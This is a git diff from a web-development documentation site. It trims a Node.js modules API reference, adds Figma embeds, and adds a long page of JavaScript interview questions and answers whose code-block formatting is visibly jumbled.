-- [<string>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type)
-
-The identifier for the module. Typically this is the fully resolved filename.
-
-#### `module.isPreloading`[#](https://nodejs.org/api/modules.html#modules_module_ispreloading)
-
-Added in: v15.4.0
-
-- Type: [<boolean>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type) `true` if the module is running during the Node.js preload phase.
-
-#### `module.loaded`[#](https://nodejs.org/api/modules.html#modules_module_loaded)
-
-Added in: v0.1.16
-
-- [<boolean>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Boolean_type)
-
-Whether or not the module is done loading, or is in the process of loading.
-
-#### `module.parent`[#](https://nodejs.org/api/modules.html#modules_module_parent)
-
-Added in: v0.1.16Deprecated since: v14.6.0, v12.19.0
-
-[Stability: 0](https://nodejs.org/api/documentation.html#documentation_stability_index) - Deprecated: Please use [`require.main`](https://nodejs.org/api/modules.html#modules_require_main) and [`module.children`](https://nodejs.org/api/modules.html#modules_module_children) instead.
-
-- [<module>](https://nodejs.org/api/modules.html#modules_the_module_object) | [<null>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Null_type) | [<undefined>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Undefined_type)
-
-The module that first required this one, or `null` if the current module is the entry point of the current process, or `undefined` if the module was loaded by something that is not a CommonJS module (E.G.: REPL or `import`).
-
-#### `module.path`[#](https://nodejs.org/api/modules.html#modules_module_path)
-
-Added in: v11.14.0
-
-- [<string>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type)
-
-The directory name of the module. This is usually the same as the [`path.dirname()`](https://nodejs.org/api/path.html#path_path_dirname_path) of the [`module.id`](https://nodejs.org/api/modules.html#modules_module_id).
-
-#### `module.paths`[#](https://nodejs.org/api/modules.html#modules_module_paths)
-
-Added in: v0.4.0
-
-- [<string[]>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type)
-
-The search paths for the module.
-
-#### `module.require(id)`[#](https://nodejs.org/api/modules.html#modules_module_require_id)
-
-Added in: v0.5.1
-
-- `id` [<string>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type)
-- Returns: [<any>](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#Data_types) exported module content
-
-The `module.require()` method provides a way to load a module as if `require()` was called from the original module.
-
-In order to do this, it is necessary to get a reference to the `module` object. Since `require()` returns the `module.exports`, and the `module` is typically _only_ available within a specific module's code, it must be explicitly exported in order to be used.
-
-### The `Module` object[#](https://nodejs.org/api/modules.html#modules_the_module_object_1)
-
-This section was moved to [Modules: `module` core module](https://nodejs.org/api/module.html#module_the_module_object).
-
-- [`module.builtinModules`](https://nodejs.org/api/module.html#module_module_builtinmodules)
-- [`module.createRequire(filename)`](https://nodejs.org/api/module.html#module_module_createrequire_filename)
-- [](https://nodejs.org/api/module.html#module_module_syncbuiltinesmexports)
diff --git a/src/pages/docs/articles/npm.md b/src/pages/docs/articles/npm.md
index f2b36d95e5..b1d4d5be98 100644
--- a/src/pages/docs/articles/npm.md
+++ b/src/pages/docs/articles/npm.md
@@ -35,7 +35,7 @@ There are many things that `npm` does.
 
 If a project has a `package.json` file, by running
 
-```bash
+```console
 npm install
 ```
 
@@ -45,7 +45,7 @@ it will install everything the project needs, in the `node_modules` folder, crea
 
 You can also install a specific package by running
 
-```bash
+```console
 npm install <package-name>
 ```
 
diff --git a/src/pages/docs/articles/url.md b/src/pages/docs/articles/url.md
index 5d99967dee..13b11f2783 100644
--- a/src/pages/docs/articles/url.md
+++ b/src/pages/docs/articles/url.md
@@ -10,6 +10,7 @@ seo:
 template: docs
 ---
 
+
 ### Let's look at the anatomy of a URL:&#xA;&#xA;
 
 The first part of the URL is http://, this is often left out when URLs are written, so we might see the above as www.mq.edu.au/about/profile/history.html. This will work when you type it into your web browser because the browser will assume you meant this as an HTTP URL. However, if we are being pedantic, the prefix is required as it tells us something about the web address - that we should use the HTTP protocol to access it.
diff --git a/src/pages/docs/career/family-promise.md b/src/pages/docs/career/family-promise.md
new file mode 100644
index 0000000000..49b76309fc
--- /dev/null
+++ b/src/pages/docs/career/family-promise.md
@@ -0,0 +1,19 @@
+---
+title: Figma
+template: docs
+excerpt: iframe embeds
+---
+
+
+ <iframe style="border: 1px solid rgba(0, 0, 0, 0.1);" width="650" height="550" src="https://www.figma.com/embed?embed_host=share&url=https%3A%2F%2Fwww.figma.com%2Ffile%2FbOwyinWBikQ5jdEpSx5WcI%2FFamily-Promise-Copy%3Fnode-id%3D0%253A1" allowfullscreen></iframe>
+
+
+
+<br>
+
+
+
+<iframe style="border: 1px solid rgba(0, 0, 0, 0.1);" width="650" height="550" src="https://www.figma.com/embed?embed_host=share&url=https%3A%2F%2Fwww.figma.com%2Ffile%2FbOwyinWBikQ5jdEpSx5WcI%2FFamily-Promise-Copy%3Fnode-id%3D0%253A1" allowfullscreen></iframe>
+
+
+
diff --git a/src/pages/docs/career/interview.md b/src/pages/docs/career/interview.md
new file mode 100644
index 0000000000..67d63a655f
--- /dev/null
+++ b/src/pages/docs/career/interview.md
@@ -0,0 +1,9550 @@
+---
+title: Interview
+weight: 0
+excerpt: Reference materials and descriptions of fundamental concepts as well as visua
+seo:
+    title: Interview
+    description: Job search guidance for front end web developers.
+    robots: []
+    extra:
+        - name: 'og:image'
+          value: images/og-image.png
+          keyName: property
+          relativeUrl: true
+template: docs
+---
+
+# Interview:
+
+<iframe src="https://web-dev-interview-prep-quiz-website.netlify.app/" height="800px" width="1000px"></iframe>
+
+<details>
+
+<summary> See JS Interview Questions </summary>
+
+## Javascript Interview Questions
+
+1.  What are the possible ways to create objects in JavaScript
+
+        There are many ways to create objects in javascript as below
+
+        1. **Object constructor:**
+
+            The simplest way to create an empty object is using the Object constructor. Currently this approach is not recommended.
+
+            ```js
+
+    //
+    var object = new Object();
+
+    ````
+
+        2. **Object's create method:**
+
+            The create method of Object creates a new object by passing the prototype object as a parameter
+
+            ```js
+
+    //
+    var object = Object.create(null);
+    ````
+
+        3. **Object literal syntax:**
+
+            The object literal syntax is equivalent to create method when it passes null as parameter
+
+            ```js
+
+    //
+    var object = {};
+
+    ````
+
+        4. **Function constructor:**
+
+            Create any function and apply the new operator to create object instances,
+
+            ```js
+
+    //
+    function Person(name) {
+    this.name = name;
+    this.age = 21;
+    }
+    var object = new Person('Sudheer');
+    ````
+
+        5. **Function constructor with prototype:**
+
+            This is similar to function constructor but it uses prototype for their properties and methods,
+
+            ```js
+
+    //
+    function Person() {}
+    Person.prototype.name = 'Sudheer';
+    var object = new Person();
+
+    ````
+
+            This is equivalent to an instance created with an object create method with a function prototype and then call that function with an instance and parameters as arguments.
+
+            ```js
+
+    //
+    function func {};
+
+            new func(x, y, z);
+            ```
+
+            **(OR)**
+
+            ```js
+
+    //
+    // Create a new instance using function prototype.
+    var newInstance = Object.create(func.prototype)
+
+            // Call the function
+            var result = func.call(newInstance, x, y, z),
+
+            // If the result is a non-null object then use it otherwise just use the new instance.
+            console.log(result && typeof result === 'object' ? result : newInstance);
+            ```
+
+        6. **ES6 Class syntax:**
+
+            ES6 introduces class feature to create the objects
+
+            ```js
+
+    //
+    class Person {
+    constructor(name) {
+    this.name = name;
+    }
+    }
+
+            var object = new Person('Sudheer');
+            ```
+
+        7. **Singleton pattern:**
+
+            A Singleton is an object which can only be instantiated one time. Repeated calls to its constructor return the same instance and this way one can ensure that they don't accidentally create multiple instances.
+
+            ```js
+
+    //
+    var object = new (function () {
+    this.name = 'Sudheer';
+    })();
+    ````
+
+2.  What is a prototype chain
+
+    **Prototype chaining** is used to build new types of objects based on existing ones. It is similar to inheritance in a class based language.
+
+    The prototype on object instance is available through **Object.getPrototypeOf(object)** or \***\*proto\*\*** property whereas prototype on constructors function is available through **Object.prototype**.
+
+    ![Screenshot](images/prototype_chain.png)
+
+3.  What is the difference between Call, Apply and Bind
+
+        The difference between Call, Apply and Bind can be explained with below examples,
+
+        **Call:** The call() method invokes a function with a given `this` value and arguments provided one by one
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        invite.call(employee1, 'Hello', 'How are you?'); // Hello John Rodson, How are you?
+        invite.call(employee2, 'Hello', 'How are you?'); // Hello Jimmy Baily, How are you?
+        ```
+
+        **Apply:** Invokes the function with a given `this` value and allows you to pass in arguments as an array
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        invite.apply(employee1, ['Hello', 'How are you?']); // Hello John Rodson, How are you?
+        invite.apply(employee2, ['Hello', 'How are you?']); // Hello Jimmy Baily, How are you?
+        ```
+
+        **bind:** returns a new function, allowing you to pass any number of arguments
+
+        ```js
+
+    //
+    var employee1 = { firstName: 'John', lastName: 'Rodson' };
+    var employee2 = { firstName: 'Jimmy', lastName: 'Baily' };
+
+        function invite(greeting1, greeting2) {
+            console.log(greeting1 + ' ' + this.firstName + ' ' + this.lastName + ', ' + greeting2);
+        }
+
+        var inviteEmployee1 = invite.bind(employee1);
+        var inviteEmployee2 = invite.bind(employee2);
+        inviteEmployee1('Hello', 'How are you?'); // Hello John Rodson, How are you?
+        inviteEmployee2('Hello', 'How are you?'); // Hello Jimmy Baily, How are you?
+        ```
+
+        Call and apply are pretty interchangeable. Both execute the current function immediately. You need to decide whether it's easier to send in an array or a comma separated list of arguments. You can remember by treating Call is for **comma** (separated list) and Apply is for **Array**.
+
+        Whereas Bind creates a new function that will have `this` set to the first parameter passed to bind().
+
+4.  What is JSON and its common operations
+
+        **JSON** is a text-based data format following JavaScript object syntax, which was popularized by `Douglas Crockford`. It is useful when you want to transmit data across a network and it is basically just a text file with an extension of .json, and a MIME type of application/json
+
+        **Parsing:** Converting a string to a native object
+
+        ```js
+
+    //
+    JSON.parse(text);
+
+    ````
+
+        **Stringification:** converting a native object to a string so it can be transmitted across the network
+
+        ```js
+
+    //
+    JSON.stringify(object);
+    ````
+
+5.  What is the purpose of the array slice method
+
+        The **slice()** method returns the selected elements in an array as a new array object. It selects the elements starting at the given start argument, and ends at the given optional end argument without including the last element. If you omit the second argument then it selects till the end.
+
+        Some of the examples of this method are,
+
+        ```js
+
+    //
+    let arrayIntegers = [1, 2, 3, 4, 5];
+    let arrayIntegers1 = arrayIntegers.slice(0, 2); // returns [1,2]
+    let arrayIntegers2 = arrayIntegers.slice(2, 3); // returns [3]
+    let arrayIntegers3 = arrayIntegers.slice(4); //returns [5]
+
+    ```
+
+        **Note:** Slice method won't mutate the original array but it returns the subset as a new array.
+
+    ```
+
+6.  What is the purpose of the array splice method
+
+        The **splice()** method is used either adds/removes items to/from an array, and then returns the removed item. The first argument specifies the array position for insertion or deletion whereas the optional second argument indicates the number of elements to be deleted. Each additional argument is added to the array.
+
+        Some of the examples of this method are,
+
+        ```js
+
+    //
+    let arrayIntegersOriginal1 = [1, 2, 3, 4, 5];
+    let arrayIntegersOriginal2 = [1, 2, 3, 4, 5];
+    let arrayIntegersOriginal3 = [1, 2, 3, 4, 5];
+
+        let arrayIntegers1 = arrayIntegersOriginal1.splice(0, 2); // returns [1, 2]; original array: [3, 4, 5]
+        let arrayIntegers2 = arrayIntegersOriginal2.splice(3); // returns [4, 5]; original array: [1, 2, 3]
+        let arrayIntegers3 = arrayIntegersOriginal3.splice(3, 1, 'a', 'b', 'c'); //returns [4]; original array: [1, 2, 3, "a", "b", "c", 5]
+        ```
+
+        **Note:** Splice method modifies the original array and returns the deleted array.
+
+7.  What is the difference between slice and splice
+
+    Some of the major difference in a tabular form
+
+    | Slice                                        | Splice                                          |
+    | -------------------------------------------- | ----------------------------------------------- |
+    | Doesn't modify the original array(immutable) | Modifies the original array(mutable)            |
+    | Returns the subset of original array         | Returns the deleted elements as array           |
+    | Used to pick the elements from array         | Used to insert or delete elements to/from array |
+
+8.  How do you compare Object and Map
+
+    **Objects** are similar to **Maps** in that both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. Due to this reason, Objects have been used as Maps historically. But there are important differences that make using a Map preferable in certain cases.
+
+    1. The keys of an Object are Strings and Symbols, whereas they can be any value for a Map, including functions, objects, and any primitive.
+    2. The keys in Map are ordered while keys added to Object are not. Thus, when iterating over it, a Map object returns keys in order of insertion.
+    3. You can get the size of a Map easily with the size property, while the number of properties in an Object must be determined manually.
+    4. A Map is an iterable and can thus be directly iterated, whereas iterating over an Object requires obtaining its keys in some fashion and iterating over them.
+    5. An Object has a prototype, so there are default keys in the map that could collide with your keys if you're not careful. As of ES5 this can be bypassed by using map = Object.create(null), but this is seldom done.
+    6. A Map may perform better in scenarios involving frequent addition and removal of key pairs.
+
+9.  What is the difference between == and === operators
+
+        JavaScript provides both strict(===, !==) and type-converting(==, !=) equality comparison. The strict operators take type of variable in consideration, while non-strict operators make type correction/conversion based upon values of variables. The strict operators follow the below conditions for different types,
+
+        1. Two strings are strictly equal when they have the same sequence of characters, same length, and same characters in corresponding positions.
+        2. Two numbers are strictly equal when they are numerically equal. i.e, Having the same number value.
+           There are two special cases in this,
+            1. NaN is not equal to anything, including NaN.
+            2. Positive and negative zeros are equal to one another.
+        3. Two Boolean operands are strictly equal if both are true or both are false.
+        4. Two objects are strictly equal if they refer to the same Object.
+        5. Null and Undefined types are not equal with ===, but equal with ==. i.e,
+           null===undefined --> false but null==undefined --> true
+
+        Some of the example which covers the above cases,
+
+        ```js
+
+    //
+    0 == false // true
+    0 === false // false
+    1 == "1" // true
+    1 === "1" // false
+    null == undefined // true
+    null === undefined // false
+    '0' == false // true
+    '0' === false // false
+    []==[] or []===[] //false, refer different objects in memory
+    {}=={} or {}==={} //false, refer different objects in memory
+
+    ```
+
+    ```
+
+10. What are lambda or arrow functions
+
+    An arrow function is a shorter syntax for a function expression and does not have its own **this, arguments, super, or new.target**. These functions are best suited for non-method functions, and they cannot be used as constructors.
+
+11. What is a first class function
+
+        In Javascript, functions are first class objects. First-class functions means when functions in that language are treated like any other variable.
+
+        For example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. For example, in the below example, handler functions assigned to a listener
+
+        ```js
+
+    //
+    const handler = () => console.log('This is a click handler function');
+    document.addEventListener('click', handler);
+
+    ```
+
+    ```
+
+12. What is a first order function
+
+        First-order function is a function that doesn't accept another function as an argument and doesn't return a function as its return value.
+
+        ```js
+
+    //
+    const firstOrder = () => console.log('I am a first order function!');
+
+    ```
+
+    ```
+
+13. What is a higher order function
+
+        Higher-order function is a function that accepts another function as an argument or returns a function as a return value or both.
+
+        ```js
+
+    //
+    const firstOrderFunc = () => console.log('Hello, I am a First order function');
+    const higherOrder = (ReturnFirstOrderFunc) => ReturnFirstOrderFunc();
+    higherOrder(firstOrderFunc);
+
+    ```
+
+    ```
+
+14. What is a unary function
+
+        Unary function (i.e. monadic) is a function that accepts exactly one argument. It stands for a single argument accepted by a function.
+
+        Let us take an example of unary function,
+
+        ```js
+
+    //
+    const unaryFunction = (a) => console.log(a + 10); // Add 10 to the given argument and display the value
+
+    ```
+
+    ```
+
+15. What is the currying function
+
+        Currying is the process of taking a function with multiple arguments and turning it into a sequence of functions each with only a single argument. Currying is named after a mathematician **Haskell Curry**. By applying currying, a n-ary function turns it into a unary function.
+
+        Let's take an example of n-ary function and how it turns into a currying function,
+
+        ```js
+
+    //
+    const multiArgFunction = (a, b, c) => a + b + c;
+    console.log(multiArgFunction(1, 2, 3)); // 6
+
+        const curryUnaryFunction = (a) => (b) => (c) => a + b + c;
+        curryUnaryFunction(1); // returns a function: b => c =>  1 + b + c
+        curryUnaryFunction(1)(2); // returns a function: c => 3 + c
+        curryUnaryFunction(1)(2)(3); // returns the number 6
+        ```
+
+        Curried functions are great to improve **code reusability** and **functional composition**.
+
+16. What is a pure function
+
+        A **Pure function** is a function where the return value is only determined by its arguments without any side effects. i.e, If you call a function with the same arguments 'n' number of times and 'n' number of places in the application then it will always return the same value.
+
+        Let's take an example to see the difference between pure and impure functions,
+
+        ```js
+
+    //
+    //Impure
+    let numberArray = [];
+    const impureAddNumber = (number) => numberArray.push(number);
+    //Pure
+    const pureAddNumber = (number) => (argNumberArray) => argNumberArray.concat([number]);
+
+        //Display the results
+        console.log(impureAddNumber(6)); // returns 1
+        console.log(numberArray); // returns [6]
+        console.log(pureAddNumber(7)(numberArray)); // returns [6, 7]
+        console.log(numberArray); // returns [6]
+        ```
+
+        As per above code snippets, **Push** function is impure itself by altering the array and returning an push number index which is independent of parameter value. Whereas **Concat** on the other hand takes the array and concatenates it with the other array producing a whole new array without side effects. Also, the return value is a concatenation of the previous array.
+
+        Remember that Pure functions are important as they simplify unit testing without any side effects and no need for dependency injection. They also avoid tight coupling and make it harder to break your application by not having any side effects. These principles are coming together with **Immutability** concept of ES6 by giving preference to **const** over **let** usage.
+
+17. What is the purpose of the let keyword
+
+        The `let` statement declares a **block scope local variable**. Hence the variables defined with let keyword are limited in scope to the block, statement, or expression on which it is used. Whereas variables declared with the `var` keyword used to define a variable globally, or locally to an entire function regardless of block scope.
+
+        Let's take an example to demonstrate the usage,
+
+        ```js
+
+    //
+    let counter = 30;
+    if (counter === 30) {
+    let counter = 31;
+    console.log(counter); // 31
+    }
+    console.log(counter); // 30 (because the variable in if block won't exist here)
+
+    ```
+
+    ```
+
+18. What is the difference between let and var
+
+        You can list out the differences in a tabular format
+
+        | var                                                   | let                         |
+        |-------------------------------------------------------|-----------------------------|
+        | It is been available from the beginning of JavaScript | Introduced as part of ES6   |
+        | It has function scope                                 | It has block scope          |
+        | Variables will be hoisted                             | Hoisted but not initialized |
+
+        Let's take an example to see the difference,
+
+        ```js
+
+    //
+    function userDetails(username) {
+    if (username) {
+    console.log(salary); // undefined due to hoisting
+    console.log(age); // ReferenceError: Cannot access 'age' before initialization
+    let age = 30;
+    var salary = 10000;
+    }
+    console.log(salary); //10000 (accessible to due function scope)
+    console.log(age); //error: age is not defined(due to block scope)
+    }
+    userDetails('John');
+
+    ```
+
+    ```
+
+19. What is the reason to choose the name let as a keyword
+
+    `let` is a mathematical statement that was adopted by early programming languages like **Scheme** and **Basic**. It has been borrowed from dozens of other languages that use `let` already as a traditional keyword as close to `var` as possible.
+
+20. How do you redeclare variables in switch block without an error
+
+        If you try to redeclare variables in a `switch block` then it will cause errors because there is only one block. For example, the below code block throws a syntax error as below,
+
+        ```js
+
+    //
+    let counter = 1;
+    switch (x) {
+    case 0:
+    let name;
+    break;
+
+            case 1:
+                let name; // SyntaxError for redeclaration.
+                break;
+        }
+        ```
+
+        To avoid this error, you can create a nested block inside a case clause and create a new block scoped lexical environment.
+
+        ```js
+
+    //
+    let counter = 1;
+    switch (x) {
+    case 0: {
+    let name;
+    break;
+    }
+    case 1: {
+    let name; // No SyntaxError for redeclaration.
+    break;
+    }
+    }
+
+    ```
+
+    ```
+
+21. What is the Temporal Dead Zone
+
+        The Temporal Dead Zone is a behavior in JavaScript that occurs when declaring a variable with the let and const keywords, but not with var. In ECMAScript 6, accessing a `let` or `const` variable before its declaration (within its scope) causes a ReferenceError. The time span when that happens, between the creation of a variable's binding and its declaration, is called the temporal dead zone.
+
+        Let's see this behavior with an example,
+
+        ```js
+
+    //
+    function somemethod() {
+    console.log(counter1); // undefined
+    console.log(counter2); // ReferenceError
+    var counter1 = 1;
+    let counter2 = 2;
+    }
+
+    ```
+
+    ```
+
+22. What is IIFE(Immediately Invoked Function Expression)
+
+        IIFE (Immediately Invoked Function Expression) is a JavaScript function that runs as soon as it is defined. The signature of it would be as below,
+
+        ```js
+
+    //
+    (function () {
+    // logic here
+    })();
+
+    ````
+
+        The primary reason to use an IIFE is to obtain data privacy because any variables declared within the IIFE cannot be accessed by the outside world. i.e, If you try to access variables with IIFE then it throws an error as below,
+
+        ```js
+
+    //
+    (function () {
+    var message = 'IIFE';
+    console.log(message);
+    })();
+    console.log(message); //Error: message is not defined
+    ````
+
+23. What is the benefit of using modules
+
+    There are a lot of benefits to using modules in favour of a sprawling. Some of the benefits are,
+
+    1. Maintainability
+    2. Reusability
+    3. Namespacing
+
+24. What is memoization
+
+        Memoization is a programming technique which attempts to increase a function's performance by caching its previously computed results. Each time a memoized function is called, its parameters are used to index the cache. If the data is present, then it can be returned, without executing the entire function. Otherwise the function is executed and then the result is added to the cache.
+        Let's take an example of adding function with memoization,
+
+        ```js
+
+    //
+    const memoizAddition = () => {
+    let cache = {};
+    return (value) => {
+    if (value in cache) {
+    console.log('Fetching from cache');
+    return cache[value]; // Here, cache.value cannot be used as property name starts with the number which is not a valid JavaScript identifier. Hence, can only be accessed using the square bracket notation.
+    } else {
+    console.log('Calculating result');
+    let result = value + 20;
+    cache[value] = result;
+    return result;
+    }
+    };
+    };
+    // returned function from memoizAddition
+    const addition = memoizAddition();
+    console.log(addition(20)); //output: 40 calculated
+    console.log(addition(20)); //output: 40 cached
+
+    ```
+
+    ```
+
+25. What is Hoisting
+
+        Hoisting is a JavaScript mechanism where variables and function declarations are moved to the top of their scope before code execution. Remember that JavaScript only hoists declarations, not initialisation.
+        Let's take a simple example of variable hoisting,
+
+        ```js
+
+    //
+    console.log(message); //output : undefined
+    var message = 'The variable Has been hoisted';
+
+    ````
+
+        The above code looks like as below to the interpreter,
+
+        ```js
+
+    //
+    var message;
+    console.log(message);
+    message = 'The variable Has been hoisted';
+    ````
+
+26. What are classes in ES6
+
+        In ES6, Javascript classes are primarily syntactic sugar over JavaScript's existing prototype-based inheritance.
+        For example, the prototype based inheritance written in function expression as below,
+
+        ```js
+
+    //
+    function Bike(model, color) {
+    this.model = model;
+    this.color = color;
+    }
+
+        Bike.prototype.getDetails = function () {
+            return this.model + ' bike has' + this.color + ' color';
+        };
+        ```
+
+        Whereas ES6 classes can be defined as an alternative
+
+        ```js
+
+    //
+    class Bike {
+    constructor(color, model) {
+    this.color = color;
+    this.model = model;
+    }
+
+            getDetails() {
+                return this.model + ' bike has' + this.color + ' color';
+            }
+        }
+        ```
+
+27. What are closures
+
+        A closure is the combination of a function and the lexical environment within which that function was declared. i.e, It is an inner function that has access to the outer or enclosing function's variables. The closure has three scope chains
+
+        1. Own scope where variables defined between its curly brackets
+        2. Outer function's variables
+        3. Global variables
+
+        Let's take an example of closure concept,
+
+        ```js
+
+    //
+    function Welcome(name) {
+    var greetingInfo = function (message) {
+    console.log(message + ' ' + name);
+    };
+    return greetingInfo;
+    }
+    var myFunction = Welcome('John');
+    myFunction('Welcome '); //Output: Welcome John
+    myFunction('Hello Mr.'); //output: Hello Mr.John
+
+    ```
+
+        As per the above code, the inner function(i.e, greetingInfo) has access to the variables in the outer function scope(i.e, Welcome) even after the outer function has returned.
+
+    ```
+
+28. What are modules
+
+    Modules refer to small units of independent, reusable code and also act as the foundation of many JavaScript design patterns. Most of the JavaScript modules export an object literal, a function, or a constructor
+
+29. Why do you need modules
+
+    Below are the list of benefits using modules in javascript ecosystem
+
+    1. Maintainability
+    2. Reusability
+    3. Namespacing
+
+30. What is scope in javascript
+
+    Scope is the accessibility of variables, functions, and objects in some particular part of your code during runtime. In other words, scope determines the visibility of variables and other resources in areas of your code.
+
+31. What is a service worker
+
+    A Service worker is basically a script (JavaScript file) that runs in the background, separate from a web page and provides features that don't need a web page or user interaction. Some of the major features of service workers are Rich offline experiences(offline first web application development), periodic background syncs, push notifications, intercept and handle network requests and programmatically managing a cache of responses.
+
+32. How do you manipulate DOM using a service worker
+
+    Service worker can't access the DOM directly. But it can communicate with the pages it controls by responding to messages sent via the `postMessage` interface, and those pages can manipulate the DOM.
+
+33. How do you reuse information across service worker restarts
+
+    The problem with service worker is that it gets terminated when not in use, and restarted when it's next needed, so you cannot rely on global state within a service worker's `onfetch` and `onmessage` handlers. In this case, service workers will have access to IndexedDB API in order to persist and reuse across restarts.
+
+34. What is IndexedDB
+
+    IndexedDB is a low-level API for client-side storage of larger amounts of structured data, including files/blobs. This API uses indexes to enable high-performance searches of this data.
+
+35. What is web storage
+
+    Web storage is an API that provides a mechanism by which browsers can store key/value pairs locally within the user's browser, in a much more intuitive fashion than using cookies. The web storage provides two mechanisms for storing data on the client.
+
+    1. **Local storage:** It stores data for current origin with no expiration date.
+    2. **Session storage:** It stores data for one session and the data is lost when the browser tab is closed.
+
+36. What is a post message
+
+    Post message is a method that enables cross-origin communication between Window objects.(i.e, between a page and a pop-up that it spawned, or between a page and an iframe embedded within it). Generally, scripts on different pages are allowed to access each other if and only if the pages follow same-origin policy(i.e, pages share the same protocol, port number, and host).
+
+37. What is a Cookie
+
+        A cookie is a piece of data that is stored on your computer to be accessed by your browser. Cookies are saved as key/value pairs.
+        For example, you can create a cookie named username as below,
+
+        ```js
+
+    //
+    document.cookie = 'username=John';
+
+    ```
+
+        ![Screenshot](images/cookie.png)
+
+    ```
+
+38. Why do you need a Cookie
+
+    Cookies are used to remember information about the user profile(such as username). It basically involves two steps,
+
+    1. When a user visits a web page, the user profile can be stored in a cookie.
+    2. Next time the user visits the page, the cookie remembers the user profile.
+
+39. What are the options in a cookie
+
+        There are few below options available for a cookie,
+
+        1. By default, the cookie is deleted when the browser is closed but you can change this behavior by setting expiry date (in UTC time).
+
+        ```js
+
+    //
+    document.cookie = 'username=John; expires=Sat, 8 Jun 2019 12:00:00 UTC';
+
+    ````
+
+        1. By default, the cookie belongs to a current page. But you can tell the browser what path the cookie belongs to using a path parameter.
+
+        ```js
+
+    //
+    document.cookie = 'username=John; path=/services';
+    ````
+
+40. How do you delete a cookie
+
+        You can delete a cookie by setting the expiry date as a passed date. You don't need to specify a cookie value in this case.
+        For example, you can delete a username cookie in the current page as below.
+
+        ```js
+
+    //
+    document.cookie = 'username=; expires=Fri, 07 Jun 2019 00:00:00 UTC; path=/;';
+
+    ```
+
+        **Note:** You should define the cookie path option to ensure that you delete the right cookie. Some browsers doesn't allow to delete a cookie unless you specify a path parameter.
+
+    ```
+
+41. What are the differences between cookie, local storage and session storage
+
+    Below are some of the differences between cookie, local storage and session storage,
+
+    | Feature                           | Cookie                             | Local storage    | Session storage     |
+    | --------------------------------- | ---------------------------------- | ---------------- | ------------------- |
+    | Accessed on client or server side | Both server-side & client-side     | client-side only | client-side only    |
+    | Lifetime                          | As configured using Expires option | until deleted    | until tab is closed |
+    | SSL support                       | Supported                          | Not supported    | Not supported       |
+    | Maximum data size                 | 4KB                                | 5 MB             | 5MB                 |
+
+42. What is the main difference between localStorage and sessionStorage
+
+    LocalStorage is the same as SessionStorage but it persists the data even when the browser is closed and reopened(i.e it has no expiration time) whereas in sessionStorage data gets cleared when the page session ends.
+
+43. How do you access web storage
+
+        The Window object implements the `WindowLocalStorage` and `WindowSessionStorage` objects which has `localStorage`(window.localStorage) and `sessionStorage`(window.sessionStorage) properties respectively. These properties create an instance of the Storage object, through which data items can be set, retrieved and removed for a specific domain and storage type (session or local).
+        For example, you can read and write on local storage objects as below
+
+        ```js
+
+    //
+    localStorage.setItem('logo', document.getElementById('logo').value);
+    localStorage.getItem('logo');
+
+    ```
+
+    ```
+
+44. What are the methods available on session storage
+
+        The session storage provided methods for reading, writing and clearing the session data
+
+        ```js
+
+    //
+    // Save data to sessionStorage
+    sessionStorage.setItem('key', 'value');
+
+        // Get saved data from sessionStorage
+        let data = sessionStorage.getItem('key');
+
+        // Remove saved data from sessionStorage
+        sessionStorage.removeItem('key');
+
+        // Remove all saved data from sessionStorage
+        sessionStorage.clear();
+        ```
+
+45. What is a storage event and its event handler
+
+        The StorageEvent is an event that fires when a storage area has been changed in the context of another document. Whereas onstorage property is an EventHandler for processing storage events.
+        The syntax would be as below
+
+        ```js
+
+    //
+    window.onstorage = functionRef;
+
+    ````
+
+        Let's take the example usage of onstorage event handler which logs the storage key and it's values
+
+        ```js
+
+    //
+    window.onstorage = function (e) {
+    console.log('The ' + e.key + ' key has been changed from ' + e.oldValue + ' to ' + e.newValue + '.');
+    };
+    ````
+
+46. Why do you need web storage
+
+    Web storage is more secure, and large amounts of data can be stored locally, without affecting website performance. Also, the information is never transferred to the server. Hence this is a more recommended approach than Cookies.
+
+47. How do you check web storage browser support
+
+        You need to check browser support for localStorage and sessionStorage before using web storage,
+
+        ```js
+
+    //
+    if (typeof Storage !== 'undefined') {
+    // Code for localStorage/sessionStorage.
+    } else {
+    // Sorry! No Web Storage support..
+    }
+
+    ```
+
+    ```
+
+48. How do you check web workers browser support
+
+        You need to check browser support for web workers before using it
+
+        ```js
+
+    //
+    if (typeof Worker !== 'undefined') {
+    // code for Web worker support.
+    } else {
+    // Sorry! No Web Worker support..
+    }
+
+    ```
+
+    ```
+
+49. Give an example of a web worker
+
+        You need to follow below steps to start using web workers for counting example
+
+        1. Create a Web Worker File: You need to write a script to increment the count value. Let's name it as counter.js
+
+        ```js
+
+    //
+    let i = 0;
+
+        function timedCount() {
+            i = i + 1;
+            postMessage(i);
+            setTimeout('timedCount()', 500);
+        }
+
+        timedCount();
+        ```
+
+        Here postMessage() method is used to post a message back to the HTML page
+
+        1. Create a Web Worker Object: You can create a web worker object by checking for browser support. Let's name this file as web_worker_example.js
+
+        ```js
+
+    //
+    if (typeof w == 'undefined') {
+    w = new Worker('counter.js');
+    }
+
+    ````
+
+        and we can receive messages from web worker
+
+        ```js
+
+    //
+    w.onmessage = function (event) {
+    document.getElementById('message').innerHTML = event.data;
+    };
+    ````
+
+        1. Terminate a Web Worker:
